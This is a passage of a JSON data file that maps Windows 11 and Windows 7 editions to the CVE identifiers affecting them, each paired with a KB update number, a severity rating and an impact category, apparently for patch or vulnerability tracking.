Privilege"},{"cve":"CVE-2024-38217","kb":"5043080","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044284","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5101650","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5101650","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5124008","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 24H2 for x64-based Systems":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041571","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043080","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044284","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-45585","kb":"5094126","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2026-50475","kb":"5101650","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5101650","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5124008","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 25H2 for ARM64-based Systems":[{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5101650","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5101650","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5124008","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 25H2 for x64-based Systems":[{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-64720","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083769","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-45585","kb":"5094126","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2026-50475","kb":"5101650","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5101650","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5124008","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 26H1 for ARM64-based Systems":[{"cve":"CVE-2025-64720","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5101649","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5101649","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5124012","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 version 21H2 for ARM64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009566","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5007215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015814","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013943","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029253","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025224","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028182","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031358","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034766","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043067","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-6197","kb":"5044280","severity":"Important","impact":"Remote Code Execution"}],"Windows 11 version 21H2 for x64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009566","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5007215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015814","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013943","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029253","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025224","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028182","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031358","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034766","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043067","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-6197","kb":"5044280","severity":"Important","impact":"Remote Code Execution"}],"Windows 11 version 26H1 for x64-based Systems":[{"cve":"CVE-2025-64720","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5083768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-45585","kb":"5095051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2026-50475","kb":"5101649","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5101649","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5124012","severity":"Important","impact":"Elevation of Privilege"}],"Windows 7 for 32-bit Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4012215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"}],"Windows 7 for x64-based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code 